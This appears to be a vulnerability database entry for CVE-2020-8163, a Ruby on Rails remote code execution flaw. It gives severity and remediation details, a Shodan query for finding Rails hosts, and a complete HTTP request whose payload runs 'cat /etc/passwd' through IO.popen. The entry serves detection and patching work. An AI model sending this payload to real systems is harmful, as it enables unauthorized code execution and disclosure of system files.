| Title | Ruby on Rails <5.0.1 - Remote Code Execution |
|---|---|
| Author | tim_koopmans |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution. |
| Remediation | Upgrade Ruby on Rails to version 5.0.1 or above. |
| CVSS Score | 8.8 |
| EPSS Score | 0.90927 |
| CVE ID | CVE-2020-8163 |
| CWE ID | CWE-94 |
| Shodan Query | cpe:"cpe:2.3:a:rubyonrails:rails" |
| Tags | cve cve2020 rails rce hackerone rubyonrails vuln |
Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
GET /?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8163.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8163.pcap
N/AN/A